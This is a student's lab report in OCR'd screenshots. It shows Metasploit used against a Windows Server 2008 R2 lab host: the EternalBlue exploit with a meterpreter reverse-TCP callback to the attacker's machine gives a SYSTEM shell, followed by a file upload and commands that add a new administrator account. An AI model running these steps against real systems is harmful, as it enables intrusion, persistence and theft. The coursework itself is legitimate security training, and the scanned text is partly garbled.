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Your Name: Tajae Bennett
Your UIN: 01152248



TASK A

ol €r Kali - External Workstatic C -TBENNOTZ

Applications ~ Places ¥ &) Firefox ESR ~ Sat04:18
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Applications ¥ Places ¥ [ Terminal ~
root@CS2APenTest: ~
File Edit View Search Terminal Help

1912 exploits - 1073 auxiliary - 329 post
545 payloads - 45 encoders - 10 nops
3 evasion

search microsoft rdp rce

Matching Modules

Disclosur: Rank cription

] auxiliary/admin/android/google play store uxss xframe rce normal Android Bro
wser RCE Through Google Play Store XFO

1 auxiliary/admin/backupexec/registry normal
kup Exec Server Registry Access

2 auxiliary/admin/http/arris_motorola_surfboard backdoor xss 2015-04- normal is / Mot

a surfboard SBG6580 Web Interface Takeover
auxiliary/admin/http/iis_auth_bypass 2010-07- normal MS10-065 Mi

crosoft IIS 5 NTFS Stream Authentication Bypass

4 auxiliary/admin/http/iomega_storcenterpro_sessionid normal
Center Pro NAS Web Authentication Bypass

5 auxiliary/admin/http/kaseya master_admin 2015-09- normal Kaseya VSA
Master Administrator Account Creation

6 auxiliary/admin/http/netgear_auth_download normal NETGEAR Pro
Safe Network Management System 300 Authenticated File Download

7 auxiliary/admin/http/netgear wnr2000 pass_recovery - normal NETGEAR WNR
2000v5 Administrator Password Recovery

8 auxiliary/admin/http/typo3 winstaller_default_enc_keys normal TYPO3 Winst
aller Default Encryption Keys

9 auxiliary/admin/http/wp custom contact forms 2014-08- normal WordPress ¢
ustom-contact-forms Plugin SQL Upload

10 auxiliary/admin/http/wp easycart privilege escalation 2015-02 normal WordPress
P EasyCart Plugin Privilege Escalation

11  auxiliary/admin/http/wp_gdpr_compliance privesc 2018-11- normal WordPress
P GDPR Compliance Plugin Privilege Escalation

12 auxiliary/admin/http/wp_google maps_sqli 2019-04- normal WordPress
oogle Maps Plugin SQL Injection

13 auxiliary/admin/http/wp_symposium sql_injection 2015-08- normal WordPress
ymposium Plugin SQL Injection

14 auxiliary/admin/http/wp wplms privilege escalation 2015-02- normal WordPress




Applications v Places v [ Terminal ~ Sat21:01
k root@CS2APenTest: ~

File Edit View Search Terminal Help
msfS exploit( ) > info exploit/freebsd/tacacs/xtacacsd report

Name: XTACACSD report() Buffer Overflow
Module: exploit/freebsd/tacacs/xtacacsd report
Platform: BSD
Arch: x86
Privileged: Y
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2008-01-08

Provided by:
MC <mc@metasploit.com>

Available targets:
Id Name

© FreeBSD 6.2-Release Bruteforce

Check supported:
No

Basic options:
Name Current Setting Required Description
RHOSTS The target address range or CIDR identifier
RPORT 49 The target port (UDP)

Payload information

. Space: 175

Avoid: 7 characters

. Description:

This module exploits a stack buffer overflow in XTACACSD <= 4.1.2.
By sending a specially crafted XTACACS packet with an overly long
username, an attacker may be able to execute arbitrary code.

References:
https://cvedetails.com/cve/CVE-2008-7232/
OSVDB (58140)
http://aluigi.altervista.org/adv/xtacacsdz-adv.txt

Applications ¥ Places ¥ (] Terminal ~ m e SO~
root@CS2APenTest: ~

File Edit View Search Terminal Help
Check supported:
No

Basic options:
Name Current Setting Required Description

RHOSTS s The target address range or CIDR identifie
RPORT 49 s The target port (UDP)

Payload information:
Space: 175
Avoid: 7 characters

DESCI'IEL;IOH:

This dmodule exploits a stack buffer overflow in XTACACSD <= 4.1.2.
By sending a specially crafted XTACACS packet with an overly long
username, an attacker may be able to execute arbitrary code.

References:
https://cvedetails.com/cve/CVE-2008-7232/
0SVDB (58140)
http://aluigi.altervista.org/adv/xtacacsdz-adv.txt
msf5 exploit( ) > set rhosts 192.168.10.11
rhosts => 192.168.10.11
msfS exploit( ) > show options
Module options (exploit/freebsd/tacacs/xtacacsd report):
Name Current Setting ion
RHOSTS 192.168.10.11 yes The target address range or CIDR identifier
RPORT 49 yes The target port (UDP)
Exploit target:
Id Name

0 FreeBSD 6.2-Release Bruteforce

msf5 exploit(

3.

IN THE MSFCONSOLE | SEARCH THE CRITICAL VULNERABILITY “MICROSOFT RDP
RCE.” | THEN FIND AN EXPLOIT WHICH 1S



“EXPLOIT/FREEBSD/TACACS/XTACACSD_REPORT.” THIS EXPLOIT TARGET A
STACK BUFFER OVERFLOW IN XTACACSD. AN ATTACKER SENDS A CRAFTED
XTACACS PACKETS WITH A VERY LONG USERNAME WHICH OVERWHELM THE
SYSTEM. AFTER FINDING OUT WHAT THIS EXPLOIT DOES, | CONFIGURED THE
RHOSTS TO 192.168.10.11 BECAUSE IT WAS EMPTY.

TASKB

S Rall - Bxternal Workstation on CY301- 012
Applications ¥ Places ¥ [ Terminal ~ Sat 21:52 B s 790~
root@CS2APenTest: ~ e e 0
File Edit View Search Terminal Help
msf5 exploit( ) > set lport 30123
lport => 30123
msf5 exploit( ) > show options

Module options (exploit/windows/smb/ms17 010 eternalblue):
Name Current Setting Required Description
RHOSTS The target address range or CIDR identifier
RPORT yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote 0S matches exploit Target.
Payload options (windows/x64/meterpreter/reverse tcp):
Name Current Setting Required Description
Exit technique (Accepted: '', seh, thread, process, none)
LHOST s The listen address (an interface may be specified)
LPORT 30123 The listen port

Exploit target:

Id Name

(] Windows 7 and Server 2008 R2 (x64) All Service Packs

msf5 exploit( ) > set lhost 192.168.217.3
lhost => 192.168.217.3
msf5 exploit( ) > exploit

Exploit failed: The following options failed to validate: RHOSTS.
Exploit completed, but no session was created.
msf5 exploit( ) > set rhosts 192.168.10.11
rhosts => 192.168.10.11
msf5 exploit( ) > exploit]]




Applications *  Places v [ Terminal ~ Sat 2157

root@CS2APenTest:
File Edit View Search Terminal Help

Started reverse TCP handler on 192.168.217.3:30123

192.168.10.11:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2

192.168.10.11:445 - Connecting to target for exploitation.

192. 10.11:445 - Connection established for exploitation.

192. .10.11:445 - Target 0S ected valid for 05 indicated by SMB reply

192 10.11: - CORE raw buffer dump (36 bytes)

192.168.160. 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Window
.10.11: - 6x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 068 R2
.10.11: - 6x00000020 37 36 30 30 7600
.10.11: - Target arch selected valid for arch indicated by DCE/RPC reply
.10 : - Trying exploit with 12 Groom Allocations.

sending all but last fragment of exploit packet
Starting non-paged pool grooming
Sending SMBv2 buffers
Closing SMBv1 connection creating f hole adjacent to buffe
Sending final SMBv2 buffers.
Sending last fragment of exploit packet!
Receiving response from exploit packet
ETERNALBLUE overwrite completed successfully ( 000000D) !
Sending egg to corrupted connection.
A Triggering free of corrupted buffer.

Sending stage (206403 bytes) to 192.168

Meterpreter session 1 opened (192.168.217. > 192.168.217.2:54629) at 2022-11-05

192.168.10.11:445

192.168.10.11:445

192.168.10.11:445

meterpreter > screenshot
Screenshot saved to: /root/MetvvBRF.jpeg
meterpreter > background
Backgrounding session 1...
nsfs exploit(

Activi

Information

meterpreter x64/windows NT AUTHORITY\SYSTEM @ W2008R2 1

10.11)

msf5 exploit( ) > 11

TASKC

Applications ~  Places ¥ &) Firefox ESR Sat 22:06
MetwBRF jpeg (JPEG Image, 1024 x 768 pixels) - Scaled (91%) - Mozilla Firefox
Nessus Essentials / Login X | Kll MetwBRF jpeg (JPEG x |+
c @ D file:///root/MetwBRF .jpeg

Nessus Home '\ KaliLinux '\ KaliDocs \ Kali Tools ® Exploit-DB %¥ Most Visited
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e

21:52:33 -0400

192.168.217.2:54629

(64-bit)

{192:168¢




Applications ¥ Places ¥ [ Terminal ~ Sat 22:42

root@CS2APenTest: ~

File Edit View Search Terminal Help
# touch IMADEIT-tbenn©12.txt
# vi IMADEIT-tbenn012.txt
# 1s IMADEIT-tbenn012.txt
IMADEIT-tbenn012. txt
# 1s -al IMADEIT-tbenn@12.txt
-rw-r--r-- 1 root root 34 Nov 5 22:32 IMADEIT-tbenn0l2.txt
# cat IMADEIT-tbenn©1l2.txt
This is tbenno1l2, heilo Pumpkin!"
s~ #

ndows Server
)8 R2 Standard
00

Applications v Places ¥ [ Terminal ~ Sat 23:06

root@CS2APenTest: ~

File Edit View Search Terminal

40777/ rwXrwxrwx 0 2009-07-13 :20:10 -0400 rescache
40777/ rWxXrwxrwx 0 g 2009-07-13 :20:10 -0400 schemas
40777/ rwxrwxrwx 4096 2009-07-13 :20:10 -0400 security
40777/ rwxrwxrwx 4096 [ 2009-07-13 :20:10 -0400 servici
100666/ rw-rw-rw- 15388 2009-07-14 :56:18 -0400 setupact.log
100666/ rw-rw-rw- 0 2009-07-14 :56:18 -0400 setuperr.log
100777/ rwxrwxrwx 61952 2009-07-13 :39:38 -0400 splwow64.exe
40777/ rwxrwxrwx 0 P 2009-07-13 10 -0400 system
100666/ rw-rw-rw- 219 2009-07-13 :57 -0400 system.ini
40777/ rwxrwxrwx 0 2009-07-13 :20:14 -0400 tracing
100666/ rw-rw-rw- 6744 2021-07-28 :39:13 -0400 vmgcoinstall.
100666/ rw-rw-rw- 92 2009-07-13 :34:57 -0400 win.ini
100777/ rwxrwxrwx 9728 2009-07-13 :12:29 -0400 winhlp32.exe
40777/ rwxrwxrwx 8388608 2009-07-13 :20:15 -0400 winsxs
100777/ rwxrwxrwx 10240 2009-07-13 :56:28 -0400 write.exe

% metasploit framework

Unknown command: cd...
2f meterpreter > cd
meterpreter > pwd
C:\
T meterpreter > cd Desktop
stdapi fs chdir: Operation failed: The system cannot find the file specified.
meterpreter > pwd
G\
meterpreter > cd users
= meterpreter pwd
C:\users
meterpreter > cd Administrator
meterpreter > cd Desktop
meterpreter > s
users\Administrator\Desktop

Size Type Last modified Name

100666/ rw-rw-rw- 282 fil 2017-08-24 14:16:13 -0400 desktop.ini

meterpreter > upload IMADEIT-tbenn©l2.txt
uploading : IMADEIT-tbenn®12.txt -> IMADEIT-tbenn@1l2.txt
Uploaded 34.00 B of 34.00 B (100.0%): IMADEIT-tbenn@12.txt -> IMADEIT-tbenn@1l2.txt
uploaded : IMADEIT-tbenn@12.txt -> IMADEIT-tbenn©12.txt

meterpreter > ||




E¥ Windows Server 2008 R2 x64 on CY301-TBENNO12 - Virtual Machine Connection
View
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Applications ~ Places ¥ [ Terminal ~

File
msfS
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exploit( ) > exploit
217.3:3012
VULNERABLE to
xploitation.

reverse TCP handler on 192.168
4as - Host is likely
1445 Connecting to target
a4s Connection ablished exploitatio
445 Target 0S selected valid for 0S
CORE raw buffer dump (36 bytes)
0x00000000 57 69 6e 64 6f 77 73
©x00000010 30 30 20 2 32
0x00000020 37 36 30
Target arch t valid for
Trying exploit with
Sending all but last fragment of
Starting non-paged pool grooming
sending SMBv2 buffers
Closing SMBv1l connection cr
ending final SMBv2 buffers.
sending last fragment of exploit packet!
Receiving response from exploit packet
ETERNALBLUE overwrite completed succe
Sending egg to corrupted connection.
Triggering free of corrupted buffer
(206403 bytes) to 192.168.217.2
Meterpr session
192.16 : 4 =-= =-=-=
192.168
1 i {

tarted
192.168.10.11
192.168.10.11
.168.10.11:
.168.10.11:
.168.10.11
168.

a

=-WIN-=

meterpreter
:\inetpub\ftproot

Download YouMadeIt.txt

Download

YouMadeIt.txt

meterpreter >
Unknown command :
meterpreter download
stdapi stat: Operation failed:
meterpreter > download YouMadeIt.txt
stdapi Operation failed
meterpreter

The system cannot find

The cannot

MS17-010!
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Groom Allocations.
f exploit

sfully

the

find the
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ted by DCE/RPC

adjacent to SMBv2 buffer.

(exceeeo0eD) !

.217.2:60326) at 2022-11-05 23:44:14 -0400

5 opened (192.168.217.3:30123 -> 192.168

file specified

file spe

x64

(64-bit)




orkstation on &
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root@CS2APenTest: ~
File Edit View Search Terminal
MTU
IPv4 Addres
IPva
IPV6

Windows [Version 6.1.7600]
(c) 2009 Microsoft Corpor

Microsof dows [Version 6.1.7600]
Copyright 2009 Microsoft Corporation All rights erved

\windows\system32>net user tbennel2 password /add
user tbennel2 s /add

vord do ssword policy requirements. Check the minimum password length, password complexity and
sword history requirements

More help is available by typing NET HELPMSG 2245.

C:\windows\system32>net user tbenn@l2 Passwordl23 /add
net user tbenn@l2 Passwordl23 /add

The command completed successfully.

C:\windows\system32>net localgroup Administrators tbennel2
net localgroup Administrators tbennel2 /add
The command completed successfully.

C:\windows\syste |

rdesktop - 192.168.10.11 e 0

tbenn012
(Password |
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